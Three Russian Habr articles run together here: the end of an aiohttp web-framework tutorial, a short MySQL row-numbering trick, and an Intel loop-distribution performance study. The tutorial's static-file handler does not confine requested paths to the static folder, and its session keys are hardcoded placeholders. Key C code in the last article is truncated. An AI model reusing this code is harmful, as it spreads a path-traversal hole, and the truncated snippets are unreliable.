То есть, все выглядит довольно просто и достаточно удобно, кроме необязательной необходимости каждый раз писать вызов корутины `@asyncio.coroutine` или `async def`.
### 2. aiohttp, jinja2 и отладчик
Для `aiohttp` есть специально для него написанный дебагер и асинхронная обертка для `jinja2`. Их мы и будем использовать.
```
pip3 install aiohttp_jinja2
```
**Простое подключение jinja2 выглядит примерно так:**
```
import asyncio, jinja2, aiohttp_jinja2
from aiohttp import web
async def page(req):
return aiohttp_jinja2.render_template('index.tpl', req,{'k':'v'})
async def init(loop):
app = web.Application(loop=loop)
aiohttp_jinja2.setup(app, loader=jinja2.FileSystemLoader('./'))
app.router.add_route('GET', '/', page)
srv = await loop.create_server(app.make_handler(), '127.0.0.1', 80)
return srv
app = web.Application()
loop = asyncio.get_event_loop()
loop.run_until_complete(init(loop))
try: loop.run_forever()
except KeyboardInterrupt: pass
```
Но нам надо вызывать шаблоны с разных мест и желательно максимально просто, например:
```
return templ('index', request, {'key':'val'})
```
И для самого шаблона нужно как-то сокращенно указывать путь. Мест, где могут хранится шаблоны, может быть несколько штук:
1. Шаблоны лежащие в папке `templ` в корне самого проекта.
2. Шаблоны которые лежат в модулях проектов или модулях библиотеки.
Поэтому условно договоримся, что если шаблоны лежат в корне какого-либо проекта, то будет просто указываться название шаблона, например `'template'`. А шаблоны из модулей будут выглядеть примерно так:
```
return templ("apps.app:template", request, {'key':'val'})
```
где `app` компонента а `template` шаблона.
Поэтому, в месте, где мы инициализируем пути, подключения шаблонов мы вызываем функцию которая будет собирать все пути, к директориям где лежат шаблоны:
```
aiohttp_jinja2.setup(app, loader=jinja2.FunctionLoader ( load_templ ) )
```
**Общий листинг функций которые собирают шаблоны:**
```
def get_path(app):
if type(app) == str:
__import__(app)
app = sys.modules[app]
return os.path.dirname(os.path.abspath(app.__file__))
def get_templ_path(path):
module_name = ''; module_path = ''; file_name = ''; name_templ = 'default';
if ':' in path:
module_name, file_name = path.split(":", 1) # app.table main
module_path = os.path.join( get_path( module_name), "templ")
else:
module_path = os.path.join( os.getcwd(), 'templ', name_templ)
return module_name, module_path, file_name+'.tpl'
def render_templ(t, request, p):
# если хотим написать параметры через = то p = dict(**p)
return aiohttp_jinja2.render_template( t, request, p )
def load_templ(t, **p):
(module_name, module_path, file_name) = get_templ_path(t)
def load_template (module_path, file_name):
path = os.path.join(module_path, file_name)
template = ''
filename = path if os.path.exists ( path ) else False
if filename:
with open(filename, "rb") as f:
template = f.read()
return template
template = load_template( module_path, file_name)
if not template: return 'Template not found {}' .format(t)
return template.decode('UTF-8')
```
Тут хотелось бы остановится на последовательности действий:
1) Мы парсим наш путь к шаблону например `'apps.app:index'`, просто проверяем, что если в пути есть `двоеточие`, то значит шаблоны берутся не из корня проекта, и тогда вызываем функцию для поиска путей из импортов:
```
def get_path(app):
if type(app) == str:
# импортирует модуль по имени. Например имя будет "news".
__import__(app)
# по имени "news" мы получаем сам модуль news и присваиваем его переменной app
app = sys.modules[app]
# получаем путь к нашему модулю
return os.path.dirname(os.path.abspath(app.__file__))
```
2) Зная пути и имя шаблона, читаем его с диска (замечу что `asyncio` не поддерживает асинхронные операции чтения с диска):
```
filename = path if os.path.exists ( path ) else False
if filename:
with open(filename, "rb") as f:
template = f.read()
```
Тут хотелось бы заметить один момент, часто в примерах к подключению jinja2 в том числе в [aiohttp\_jinja2](https://github.com/aio-libs/aiohttp_jinja2#usage) рекомендуется для инициализации применять `FileSystemLoader` просто передавая ему путь, или список путей, например:
`aiohttp_jinja2.setup(app, loader=jinja2.FileSystemLoader('/templ/'))`
А в нашем случае мы использовали `FunctionLoader`:
`aiohttp_jinja2.setup(app, loader=jinja2.FunctionLoader ( load_templ ) )`
Это связано с тем что мы хотим хранить шаблоны в разных директориях, для разных модулей, и не беспокоиться об одинаковых названиях. А в случае с `FunctionLoader` мы идём только по необходимым путям. В результате у нас модули имеют независимые пространства имён.
Для того, чтобы писать в вызове шаблона сокращенно `templ` напишем маленькую обертку и присвоим её `builtins.templ`, после чего сможем вызывать из любого места `templ`, не делая его импорт постоянно:
```
def render_templ(t, request, p):
return aiohttp_jinja2.render_template( t, request, p )
builtins.templ = render_templ
```
#### aiohttp\_debugtoolbar
`aiohttp_debugtoolbar` — подключается довольно легко, там где мы инициализируем наш `app`:
```
app = web.Application(loop=loop, middlewares=[ aiohttp_debugtoolbar.middleware ])
aiohttp_debugtoolbar.setup(app)
```
Подключается он через очень `middleware`, как написать свой будем говорить немного ниже.
Сам `aiohttp_debugtoolbar` у меня вызвал приятное впечатление, и все необходимое в нем присутствует, немного скриншотов:
**Больше в спойлере**
### 3. aiohttp и роуты
В `aiohttp` роуты выглядят достаточно просто, пример из документации с получением динамического параметра из адреса:
```
@asyncio.coroutine
def variable_handler(request):
return web.Response( text="Hello, {}".format(request.match_info['name']))
app = web.Application()
app.router.add_route('GET', '/{name}', variable_handler)
```
Но поскольку у нас модульная система, нам необходимо вызывать роуты в каждом модуле свои, в файлике `routes.py`. И желательно упростить это максимально, например:
```
from core import route
route('GET', '/', page, 'page' )
route('GET', '/db', test_db, 'test_db' )
```
Тут придется воспользоватся глобальной переменной, хоть это не очень кошерно. Функция `route` имеет простой вид:
```
def route(t, r, func, name=None):
routes.append((t, r, func, name))
```
В глобальную переменную, представляющую из себя список, заносим кортежами значения каждого роута. А потом во время инициализации просто в форе проходим по всем кортежам и подставляем в аутентичный вызов роута:
```
for res in routes:
name = res[3]
if name is None: name = '{}:{}'.format(res[0], res[2])
app.router.add_route( res[0], res[1], res[2], name=name)
```
Естественно перед прохождением по всем роутам нам нужно инициализировать пути где находятся файлы `routes.py`. Мы это делаем с помощью функции, которая в упрощенном виде выглядит примерно так:
```
def union_routes( dir=settings.root ):
name_app = dir.split(os.path.sep)
name_app = name_app[len(name_app) - 1]
for name in os.listdir(dir):
path = os.path.join(dir, name)
if os.path.isdir ( path ) and os.path.isfile ( os.path.join( path, 'routes.py' )):
name = name_app+'.'+path[len(dir)+1:]+'.routes'
builtins.__import__(name, globals=globals())
```
### 4. Отдача статики
Конечно по нормальному статику лучше отдавать с помощью `nginx` но наш фреймворк тоже должен уметь отдавать статику.
В `aiohttp` уже [была](http://aiohttp.readthedocs.org/en/latest/web_reference.html#aiohttp.web.UrlDispatcher.add_static) функция отдачи статики но она была замечена чуть позже чем надо и уже была написана своя функция.
Распознавать статически файлы будем по роуту `/static/path`. Те файлы, которые расположены в корне проекта будут распознаваться по пути `/static/static/file_name`, а файлы в компонентах `/static/modul_name/file_name`.
Естественно, что все статические файлы будут лежать в папках `/static` любого модуля или проекта, и могут иметь любое количество вложенностей, скажем `/static/img/big_img/`.
Начинать реализовывать мы как и всегда, с инициализации. Тут мы просто одним роутом обслуживаем все основные встречающиеся виды статических адресов.
```
app.router.add_route('GET', '/static/{component:[^/]+}/{fname:.+}', union_stat)
```
Дальше в функции `union_stat` мы просто разбираем параметры роута `{component:[^/]+}/{fname:.+}` которые получили:
```
component = request.match_info.get('component', "st")
fname = request.match_info.get('fname', "st")
```
И формируем соотвествующие пути.
После этого, в другой вспомогательной функции, мы создаем нужные нам заголовки для файлов, например:
```
mimetype, encoding = mimetypes.guess_type(filename)
if mimetype: headers['Content-Type'] = mimetype
if encoding: headers['Content-Encoding'] = encoding
```
И читаем сам файл с диска.
В конце мы возвращаем заголовки и сам файл:
```
return web.Response( body=content, headers=MultiDict( headers ) )
```
**Целиком функции выглядят так:**
```
def union_stat(request, *args):
component = request.match_info.get('component', "Anonymous")
fname = request.match_info.get('fname', "Anonymous")
path = os.path.join( settings.root, 'apps', component, 'static', fname )
if component == 'static':
path = os.path.join( os.getcwd(), 'static')
elif not os.path.exists( path ):
path = os.path.join( os.getcwd(), 'apps', component, 'static' )
else:
path = os.path.join( settings.root, 'apps', component, 'static')
content, headers = get_static_file(fname, path)
return web.Response(body=content, headers=MultiDict( headers ) )
def get_static_file( filename, root ):
import mimetypes, time
root = os.path.abspath(root) + os.sep
filename = os.path.abspath(os.path.join(root, filename.strip('/\\')))
headers = {}
mimetype, encoding = mimetypes.guess_type(filename)
if mimetype: headers['Content-Type'] = mimetype
if encoding: headers['Content-Encoding'] = encoding
stats = os.stat(filename)
headers['Content-Length'] = stats.st_size
from core.core import locale_date
lm = locale_date("%a, %d %b %Y %H:%M:%S GMT", time.gmtime(stats.st_mtime), 'en_US.UTF-8')
headers['Last-Modified'] = str(lm)
headers['Cache-Control'] = 'max-age=604800'
with open(filename, 'rb') as f:
content = f.read()
f.close()
return content, headers
```
UPD. Все таки, в последней версии библиотеки, отдача статики была немного переделана. Теперь, статика отдается силами `aiohttp`, из папки `static` в корне проекта.
```
path = os.path.join( os.path.dirname(__file__), 'static')
app.router.add_static('/static/', path, name='static')
```
В папке `/static`, должны находится относительные ссылки на все папки со статикой всех модулей, как стандартных самой библиотеки так и тех которые были созданы в проекте. Создаются, относительные ссылки, во время запуска команд, для создания структуры проекта или создания структуры приложения.
```
utils.py -p name_project
utils.py -a name_app
```
Пару слов скажу про `POST`, `GET` запросы и переадресацию в `aiohttp`. `GET` запросы выглядят довольно стандартно
```
async def get_get(request):
query = request.GET['query']
async def get_post(request):
data = await request.post()
filename = data['mp3'].filename
```
Редирект по адресу заданyому в роуте `'test'` c `302` ответом
```
async def redirect(request):
data = await request.post()
. . .
url = request.app.router['test'].url()
return web.HTTPFound( url )
```
[Список](http://aiohttp.readthedocs.org/en/latest/web.html#exceptions) всех ответов.
### 5. aiohttp и Websocket
Одна из самых приятных особенностей `aiohttp` это возможность легко подключать вебсокеты, просто вызвав в роуте функцию которая отвечает за их обработку. Без каких то лишних костылей.
Например, `app.router.add_route('GET', '/ws', ws)`. Если рассматривать роут из нашей небольшой обертки, которую мы только что написали, то это может выглядеть так: `route('GET', '/ws', ws )`
Сама обработка вебсокетов выглядит довольно просто, и скажем написания небольшого чата по количеству кода довольно лаконично.
```
async def websocket_handler(request):
ws = web.WebSocketResponse()
await ws.prepare(request)
async for msg in ws:
if msg.tp == aiohttp.MsgType.text:
if msg.data == 'close':
await ws.close()
else:
ws.send_str(msg.data + '/answer')
elif msg.tp == aiohttp.MsgType.error:
print('ws connection closed %s' % ws.exception())
print('websocket connection closed')
return ws
```
Для примера, то же самое в случае с `Node.JS`, с использованием модуля `ws`:
```
var WebSocketServer = new require('ws');
var clients = {};
var webSocketServer = new WebSocketServer.Server({ port: 8081 });
webSocketServer.on('connection', function(ws) {
var id = Math.random();
clients[id] = ws;
ws.on('message', function(message) {
for (var key in clients) {
clients[key].send(message);
}
});
ws.on('close', function() {
console.log('Сonnection closed ' + id);
delete clients[id];
});
});
```
### 6. asyncio и mongodb, aiohttp, session, middleware
У `aiohttp` есть такой прекрасный инструмент как `middleware`, в разных случаях под этим термином понимают немного разные вещи, поэтому рассмотрим его на примере создания коннектора к базе.
У таких фреймворков как `flask` или `bootle` есть возможность вызвать какую либо функцию перед загрузкой всего остального или после, например, в `bootle`:
```
@bottle.hook('after_request')
def enable_cors():
response.headers['Access-Control-Allow-Origin'] = '*'
```
В случае с `aiohttp`, в том числе и для примерно таких случаев, был придуман `middleware`.
Итак, мы хотим писать запросы к базе максимально просто, `request.db`:
```
def test_db(request):
return templ('apps.app:db_test', request, { 'key': request.db.doc.find_one({"_id":"test"}) })
```
Для этого мы создадим `middleware` и инициализируем его в самом начале, это делается довольно просто, пример с уже инициализированным дебагером, сессиями и базой.
```
app = web.Application(loop=loop, middlewares=[ aiohttp_debugtoolbar.middleware, db_handler(),
session_middleware(EncryptedCookieStorage(b'Secret byte key')) ])
```
**Ну и сама фабрика**
```
def db_handler():
async def factory(app, handler):
async def middleware(request):
if request.path.startswith('/static/') or request.path.startswith('/_debugtoolbar'):
response = await handler(request)
return response
# инициализация
db_inf = settings.database
kw = {}
if 'rs' in db_inf: kw['replicaSet'] = db_inf['rs']
from pymongo import MongoClient
mongo = MongoClient( db_inf['host'], 27017)
db = mongo[ db_inf['name'] ]
db.authenticate('admin', settings.database['pass'] )
request.db = db
# процессинг запроса (дальше по цепочки мидлверов и до приложения)
response = await handler(request)
mongo.close()
# экземеляр рабочего объекта по цепочке вверх до библиотеки
return response
return middleware
return factory
```
На что хотелось бы обратить внимание, поскольку на каждый запрос к серверу срабатывает `middleware`, первым делом, мы проверяем что в `request` не содержится адрес по которому мы получаем статику, а также адрес, по которому вызывается дебагер. Чтобы на каждый запрос не дергать базу.
```
def middleware(request):
if request.path.startswith('/static/') or request.path.startswith('/_debugtoolbar'):
```После этого мы конектимся к базе:
```python
mongo = MongoClient( db_inf['host'], 27017)
```
А в конце закрываем соединение:
```
mongo.close()
```
Все выглядит довольно просто, некоторые полезности от автора `aiohttp` [svetlov](https://habrahabr.ru/users/svetlov/) инициализируются и созданы подобным образом через `middleware`.
Ну а дальше подробнее надо остановится на самом драйвере к `mongodb`. К большому сожалению он пока не асинхронный, правильнее сказать асинхронный драйвер есть [есть](https://bitbucket.org/mrdon/asyncio-mongo/src/838bc8849e5a30973aef213a54722909906d0032?at=master) но он давно заброшен и оставляет желать лучшего, и в нем нет поддержки `gridFS`, нет нововведений `pymongo` и тд.
Но все таки прогресс не стоит на месте и разработчик `PyMongo` и одновременно асинхронного драйвера к `MongoDB` для `Tornado`, `Motor` — [A. Jesse Jiryu Davis](http://emptysqua.re/blog/all-posts/) активно работает над [интеграцией](http://emptysqua.re/blog/motor-and-asyncio-update/) `Asyncio` в `Motor`. И уже обещает этой осенью выпустить версию `0.5` с поддержкой `Asyncio`.
### 7. aiohttp, supervisor, nginx, gunicorn
Запустить `aiohttp` можно несколькими способами:
1. `aiohttp` лучше просто запускать с консоли если занимаемся разработкой, и с помощью `supervisor` еcли продакшен.
2. Запустить с помощью `gunicorn` и `supervisor`.
Думаю для обоих случаев, в упрощенном варианте, подойдет настройка `nginx` как `proxy`, хотя `gunicorn` можно запустить через сокет при желании.
```
server {
server_name test.dev;
location / {
proxy_pass http://127.0.0.1:8080;
}
}
```
#### Aiohttp и supervisor
Устанавливаем supervisor:
```
apt install supervisor
```
В `/etc/supervisor/conf.d/` создаем файл `aio.conf` и в нем:
```
[program:aio]
command=python3 index.py
directory=/path/to/project/
user=nobody
autorestart=true
redirect_stderr=true
```
После этого обновляем конфиги всех приложений, без перезапуска
```
supervisorctl reread
>>aio: available
>>erp: changed
```
Перезапуск приложений для которых обновился конфиг:
```
supervisorctl update
>>erp: stopped
>>erp: updated process group
>>aio: added process group
```
Смотрим статус приложений:
```
supervisorctl status
>>aio RUNNING pid 31570, uptime 0:06:49
>>erp FATAL Exited too quickly (process log may have details)
```
**Теперь можно запустить простой сервер на aiohttp**
```
import asyncio
from aiohttp import web
def test(request):
return {'title': 'Hello' }
async def init(loop):
app = web.Application( loop = loop )
app.router.add_route('GET', '/', basic_handler, name='index')
handler = app.make_handler()
srv = await loop.create_server(handler, '127.0.0.1', 8080)
return srv, handler
loop = asyncio.get_event_loop()
srv, handler = loop.run_until_complete( init( loop ) )
try: loop.run_forever()
except KeyboardInterrupt:
loop.run_until_complete(handler.finish_connections())
```
В случае с нашим небольшим фреймворком, в стартовом файле мы добавляем в `sys.path` нужные нам пути:
```
#путь к библиотеке
sys.path.append( settings.root )
#путь к проекту
sys.path.append( os.path.dirname( __file__ ) )
```
#### Aiohttp gunicorn и supervisor
Простой вариант для запуска с помощью `gunicorn` выглядит таким образом, тут нужно обратить внимание что мы не пишем над функцией `index` карутину, для вызова.
```
from aiohttp import web
def index(request):
return web.Response(text="Hello!")
app = web.Application()
app.router.add_route('GET', '/', index)
```
Для запуска нашего фреймворка с помощью `gunicorn` мы немного упростим функцию инициализации, убрав оттуда карутину и все что касается сервера, и не забываем вернуть `app`.
**Сама функция**
```
def init_gunicorn():
app = web.Application( middlewares=[ aiohttp_debugtoolbar.middleware, db_handler(),
session_middleware(EncryptedCookieStorage(b'Sixteen byte key')) ])
aiohttp_debugtoolbar.setup(app)
aiohttp_jinja2.setup(app, loader=jinja2.FunctionLoader ( load_templ ) )
union_routes(os.path.join ( settings.root, 'apps' ) )
union_routes(os.path.join ( os.getcwd(), 'apps' ) )
for res in routes:
app.router.add_route( res[2], res[0], res[1], name=res[3])
app.router.add_route('GET', '/static/{component:[^/]+}/{fname:.+}', union_stat)
return app
```
Ну а в файле который будет уже запускать `gunicorn` мы просто вызываем
```
import sys, os, settings
sys.path.append( settings.root )
sys.path.append( os.path.dirname( __file__ ) )
from core.union import init_gunicorn
app = init_gunicorn()
```
Теперь можно просто запустить сам gunicorn из папки с файлом
```
>> gunicorn app:app -k aiohttp.worker.GunicornWebWorker -b localhost:8080
```
Естественно что команду вызова можно просто прописать в конфигурации `supervisor`.
Для запуска `gunicorn` через `supervisor` у нас будет следующая конфигурация, в папке с проектом создаем файл gunicorn.conf.py в нем:
```
worker_class ='aiohttp.worker.GunicornWebWorker'
bind='127.0.0.1:8080'
workers=8
reload=True
user = "nobody"
```
В `/etc/supervisor/conf.d/name.conf`:
```
[program:name]
command=/usr/local/bin/gunicorn app:app -c /path/to/project/gunicorn.conf.py
directory=/path/to/project/
user=nobody
autorestart=true
redirect_stderr=true
```
Выполняем команды:
```
supervisorctl reread
supervisorctl update
```
### 8. После установки, о примерах.
Теперь мы можем установить нашу библиотечку
```
pip3 install tao1
```
Естественно после установки нам нужно развернуть проект и создать в нем пару модулей и т.д.
Команда `utils.py -p name` создаст нам проект в папке в которой мы её выполним, естественно, вместо `-p` можно написать `--project` или `--startProject`.
Команду `utils.py -a name` надо выполнять в директории `apps` вашего проекта и в ней так же опцию `-a` можно заменить на `--app` или `--startApp` ;-)
Сам `utils.py` устроен довольно просто.
Создание проекта или модуля выглядит так.
С помощью модуля `argparse` получаем опции из командной строки:
```
parser = argparse.ArgumentParser()
parser.add_argument('-project', '-startproject', '-p', type=str, help='Create project' )
parser.add_argument('-app', '-startapp', '-a', type=str, help='Create app' )
args = parser.parse_args()
```В зависимости от опций копируем уже заранее заготовленные файлы лежащие в библиотеке в нужное место:
```python
import shutil
shutil.copytree( os.path.join( os.path.dirname(__file__), 'sites', 'test'), str(args.project) )
```
А в файле `setup.py` где мы инициализируем наш пакет для установки в
[<https://pypi.python.org/>](https://pypi.python.org/) указываем `scripts=['tao1/core/utils.py']`.
Тогда после установки пакета файл utils.py будет помещен в `/usr/local/bin/` (если говорить о ubuntu) и станет исполняемым.
### 9. Road map
#### Версия 0.2 — 0.5
* Кеширование ( скорее всего memcached).
* Мультиязычность.
* Небольшой каркас для написания он-лайн игр.
* Полноценная админка. Более менее полноценные блоги и интернет магазин.
* Каркас для конструктора справочников и документов для создания своих конфигураций.
И по возможности, постараюсь сделать более менее удобный установщик, чтоб любой желающий мог, приходя из любой другой экосреды, например, мира `php` или `Node`, быстро удовлетворить своё любопытство. Хотя, возможно, это не совсем правильный подход.
P.S. Все постарался описать максимально кратко. Естественно, в этой версии даже для заявленных возможностей скорее всего есть масса ошибок, очевидных и не очень, поэтому прошу сообщать. А также всех кого заинтересовала эта библиотека и вообще развитие темы `Asyncio` в данном формате. Пишите свои замечания и пожелания для функционала и я постараюсь по возможности исправить и реализовать.
Исправления грамматических неточностей и ошибок приветствуются в личке.
Библиотека на [github](https://github.com/alikzao/tao1)
[Документация на readthedocs](http://tao1.readthedocs.org/)
[Вторая часть](https://habrahabr.ru/post/252575/)
Используемые материалы:
[pep-0492](https://www.python.org/dev/peps/pep-0492/)
[Блог [svetlov](https://habrahabr.ru/users/svetlov/) автора aiohttp](http://asvetlov.blogspot.com/)
[Документация по aiohttp на github](https://github.com/KeepSafe/aiohttp/tree/master/docs)
[Документация по aiohttp на readthedocs](http://aiohttp.readthedocs.org/)
[Документация по aiohttp-jinja2 readthedocs](http://aiohttp-jinja2.readthedocs.org/en/stable/)
[Документация по yield from](https://docs.python.org/3/whatsnew/3.3.html#pep-380)
[aiohttp\_session](https://github.com/aio-libs/aiohttp_session)
[Асинхронный драйвер](https://github.com/mongodb/motor)
[aio-libs — список библиотек](https://github.com/aio-libs)
[Еще один более полный список](http://asyncio.org/) | https://habr.com/ru/post/242541/ | null | ru | null |
# Простейший цикл на MySQL
Сегодня, работая над сайтом, мне надо было отделить основной каталог от дополнительного. А в дополнительном каталоге надо было пронумеровать нужные записи в виде «Проект 1», «Проект 2». И тут какой то неведомый зверь не позволил мне сделать это по-быстрому на каком нибудь распространенном языке программирования. Мне захотелось попробовать, а можно ли сделать это используя лишь только средства MySQL?
Насколько я помню, в MySQL есть переменные, например @a. Но поиск в сети, как сделать цикл в MySQL, ничего мне не дал.
Тогда я поразмыслил, ведь мы можем написать
```
SELECT @i:=@i+1;
```
А UPDATE в свою очередь проходит каждую запись и заменяет значение по одному.
```
SELECT @i := 0;
UPDATE `table` SET `name`=CONCAT('Проект ', @i := @i+1) WHERE `type` = 1 ORDER BY `id`;
```
В итоге мы переименовали записи с типом 1 по порядку следования их ID.
PS: CONCAT объединяет строки. | https://habr.com/ru/post/150491/ | null | ru | null |
# Разбиение цикла как пример высокоуровневой оптимизации
В предыдущих посте [Основные проблемы влияющие на производительность ...](http://habrahabr.ru/company/intel/blog/158759/) я написал о том, что анализ производительности — задача сложная и ее нельзя в большинстве случаев решить без анализа исходного кода, без изучения того, как реализован тот или иной алгоритм и без знания вычислительной архитектуры, на которой приложение будет выполняться. В этом посте я хочу показать пример оптимизации программы, базирующийся на идее разбиения цикла.
#### Основная идея цикловых оптимизаций
Циклы исключительно важны в вычислительных программах и как правило выполнения различных циклов и являются горячими функциями приложения, т.е. функциями отнимающими много времени при исполнении. Первые вычислительные архитектуры в основном предназначались для высокопроизводительных вычислений с широким использованием различных циклов и поэтому идея их оптимизации владеет умами уже очень давно и различных цикловых оптимизаций предложено довольно много. Основная идея цикловых оптимизаций состоит в изменении порядка выполняемой работы. Если на уровне вычислительного ядра перестановка инструкций служит для улучшения работы вычислительного конвейера, то при выполнении цикловых оптимизаций перестановка утверждений осуществляется с более глобальными целями, такими как улучшение работы подсистемы памяти, осуществление векторизации и автопараллелизации, улучшении инструкционного параллелизма, переиспользование данных, улучшении работы предсказателя ветвлений и т.д. Поскольку различных факторов много, то у компилятора должен существовать некий эврестический механизм, который оценивает возможные плюсы и минусы и принимает решение о том делать или нет ту или иную высокоуровневую оптимизацию.
#### Простой пример эффективности цикловых оптимизаций
Рассмотрим простой пример с популярной оптимизацией разбиение цикла (loop distribution), которая обычно тесно увязана с обратной оптимизацией объединения циклов (loop fusion), и посмотрим, как оптимизация влияет на производительность некоего синтетического теста. Синтетический тест абсолютно бесмысленный, но поможет вскрыть определенные закономерности работы вычислительного ядра. Массивы реализованы как векторы указателей. Под макросом PERF начальный большой цикл разбит на три цикла, каждый из которых содержит часть взаимосвязанных вычислений из начального цикла.
```
#include
#include
#define N 1000
int main() {
int i,j,rep;
int volatile nnn;
float \*\*a1,\*\*a2,\*\*a3;
float \*\*b1,\*\*b2, \*\*b3;
double \*\*c1, \*\*c2, \*\*c3;
double sum1,sum2,sum3;
nnn = 2000; // upper bound for repeat loop
.... // memory allocation and initialization
for(rep=0;rep
```
Я буду использовать интеловский компилятор с опцией –O1. Про эту опцию компилятор говорит (icl –help):
/O1 optimize for maximum speed, but disable some optimizations which increase code size for a small speed benefit
По факту, с этой опцией компилятор не делает цикловых оптимизаций, в том числе автовекторизации. Поэтому он не будет вмешиваться в предлагаемый эксперимент.
В результате компиляции с опцией –DPERF и без нее будет создано два исполняемых файла.
icl -O1 distr.c -Fedistr.exe
icl -O1 -DPERF distr.c -Fedistr2.exe
На моей лабораторной машине c Windows Server 2008 R2 Enterprise и процессором Intel Xeon X5570 время выполнения получившихся тестов следующее:
distr.exe: 38.8 sec
distr2.exe: 31.2 sec
Производительность второго цикла существенно лучше. Давайте посмотрим на General Exploration программы, сделанный Intel VTune Amplifier XE2013 и сравним результаты для обоих программ.
Интересно, в чем же тут дело?
Есть специальное руководство «Performance Analysis Guide for Intel@ Core TM i7 Processor and Intel@ Xeon TM 5500 processors” в котором можно изучить методы анализа работы вычислительного ядра. VTune Amplifier также содержит краткое описание различных событий. Поэтому если есть вопросы по значению некоторых приводимых здесь названий, то можно обратиться к этой информации. Также буду рад, если кто-то меня поправит или даст дополнительные идеи о том, за счет чего оптимизация цикла показывает такой эффект.
При сравнении отчетов можно отметить факт, что INST\_RETIRED.ANY у обоих вариантов программы примерно одинаковое. Т.е. здесь не произошло никаких чудес (типа векторизации) и количество выполненной работы в обоих случаях примерно равно. Но при этом в оптимизированном варианте CPI Rate значительно лучше и нужно понять за счет чего это произошло.
Интересно появление LLC Load Misses Serviced By Remote DRAM в одном из вариантов программы. По идее, эта проблема характерна для многопоточных приложений и связана с использованием вычислительным ядром памяти принадлежащей другому ядру, что характерно для вычислительных архитектур с неравномерным доступом к памяти (NUMA). В данном случае эта ситуация появляется из-за миграции вычислительного процесса по разным вычислительным ядрам. Звезды сложились так, что вторая программа мигрировала по вычислительным ядрам менее удачно. Можно привязать программу к определенному вычислительному ядру, чтобы эти вызываемые операционной системой переключения между ядрами не влияли на результаты. Следующие эксперименты сделаны с привязкой к конкретному ядру.
Я не буду пользоваться стандартным Memory Access анализом, различные события для которого определены для архитектуры Nehalem в VTune Amplifier, а возьму и составлю свой набор событий и сравню их для двух модификаций моей программы. У меня получился примерно следующий анализ:
Удивляет то, что изменилось количество загрузок из памяти (MEM\_INST\_RETIRED.LOADS). Однако, если сравнить ассемблер обоих вариантов программы, то количество инструкций работы с памятью в первоначальном варианте действительно больше. Это объясняется тем, что при одновременной работе с большим количеством массивов не хватает регистров для хранения промежуточных результатов и происходит постоянный обмен между стеком программы и регистрами. Наверное, эта проблема не должна быть критической, поскольку стек из-за постоянного использования будет в кэше.
Если вспомнить организацию подсистемы памяти, то у вычислительного ядра существует L1 кэш данных размером 32KB. В первоначальном варианте программы на каждой итерации мы работаем с большим количеством различных потоков данных. Т.е. на каждой итерации нам нужно читать данные из 27 мест a1[j-1][i],a1[j][i],a1[j+1][i],a2[j-1][i],…,c1[j+1][i]. Но часть этих данных должна быть загружена в подсистему кэшей на предыдущей итерации по j. Новых данные подгружаются для a1[j+1][:],a2[j+1][:],a3[j+1][:],b1[j+1][:],...,c3[j+1][:]. Размер float — 4 байта, размер double – 8 байтов. Количество элементов в строке матрицы -1000. Получаем, что в подсистему кэшей на каждой итерации должно быть помещено 4000\*3+4000\*3+8000\*3=~47KB данных. Очевидно, что в первоначальном варианте программы на каждой итерации полностью обновляется L1D кэш. В модифицированном варианте на каждой итерации обновляется ~12KB для вещественных матриц и ~24KB для вещественных двойной точности, т.е. данные зачитанные на предыдущих итерациях должны частично сохраниться в памяти. Это можно увидеть сравнив соотношение событий L1D\_CACHE\_LD.I\_STATE (промахов по кэшу) к L1D\_CACHE\_LD.MESI (общему числу обращений к кэшу). В «медленном» варианте это соотношение равно ~13.6%. В «быстром» варианте — ~7%. В результате у модифицированного варианта меньше задержек с большими временами ожидания.
На производительность данного вычисления также должны оказывать влияние устройства аппаратной предвыборки. Существуют устройства предвыборки, которые работают с L1 и L2 кэшем. Из документации можно почерпнуть информацию о том, что они не всемогущи и на разных архитектурах поддерживают разное количество потоков данных. Обращение к определенной строке массива, типа a[j][i] и есть такой поток данных. После достижения определенного числа одновременно обслуживаемых потоков должны появиться потоки, для которых предвыборка не работает. Более того, возможно, при большом количестве потоков аппаратная предвыборка вообще перестанет работать. Поэтому, я создал новый вид анализа, в который поместил события, связанные с работой L1D и L2 устройств аппаратной предвыборки:
На мой взгляд, этот анализ показывает следующее. Количество запросов (L1D\_PREFETCH.REQUESTS), которые генерятся L1D устройством предвыборки в «хорошем» случае даже выше, чем аналогичный показатель в «медленном» случае. Хоть это и странно, но подтверждает с запасом мысль о том, что префетчер ограничен в возможностях обслуживать потоки данных. Что касается устройств предвыборки для L2 кэша, то тут есть два интересных события L2\_DATA\_RQSTS.DEMAND.MESI (L2 data demand requests) и L2\_DATA\_RQSTS.PREFETCH.MESI (All L2 data prefetchers).
Т.е. часть обращений к памяти обслуживается устройством предвыборки, а вторая часть обращений к памяти оказывается для вычислительного ядра сюрпризом. И здесь опять наблюдается интересная картина. В «хорошем» случае устройство предвыборки создает значительно больше упреждающих запросов. Также важно, что «плохом» случае почти в два раза больше необслуженных устройствами предвыборки запросов.
Пара цикловых оптимизаций объединение/разбиение циклов зависит от массы условий. Вполне вероятно, что в случае маленьких массивов, которые отлично размещаются в кэше, первый вариант оказался бы быстрее за счет наличия большего количества независимых вычислений на каждой итерации и за счет сокращения ветвлений. В данном случае анализ значительно упрощается за счет того, что нам известен размер массивов, известна вычислительная система на которой проводится эксперимент и т.д.
#### А что делает в этом случае компилятор?
Пришло время проверить, а что в этом случае делает оптимизирующий компилятор Интел. Чтобы поставить нас в равные условия заберем у компилятора возможность заниматься автовекторизацией. (Здесь хочется поставить подмигивающий смайлик.)
icl -O2 /Qvec- distr.c -Fedistr\_comp.exe
time distr\_comp.exe
…
CPU time for command: 'distr\_comp.exe'
real 41.799 sec
Вот тебе и на – компилятор с опцией –O1 показывает лучшую производительность чем с –O2. Не совсем понятно, как был оптимизирован тест. Существует опция /Qopt\_report. Если ей воспользоваться, то можно увидеть, что компилятор сделал разбиение цикла:
LOOP DISTRIBUTION in \_main at line 54
С помощью дополнительного анализа (возможность использовать дампы) можно понять, как примерно было сделано разбиение:
```
for(j=1;j
```
Такие ситуации я называю «горе от ума». Очевидно, что с одной стороны у компилятора творческий потенциал налицо. Он разобрался и выбрал в одну группу зависящие вычисления. Но почему-то ограничился только разбиением внутреннего цикла, сведя на нет все возможные выгоды от улучшения локальности данных, с которыми работает этот цикл. Количество различных переходов увеличилось, а улучшение локальности данных при такой оптимизации не было достигнуто. Второй цикл выглядит громоздким и с точки зрения оценки количества потоков данных.
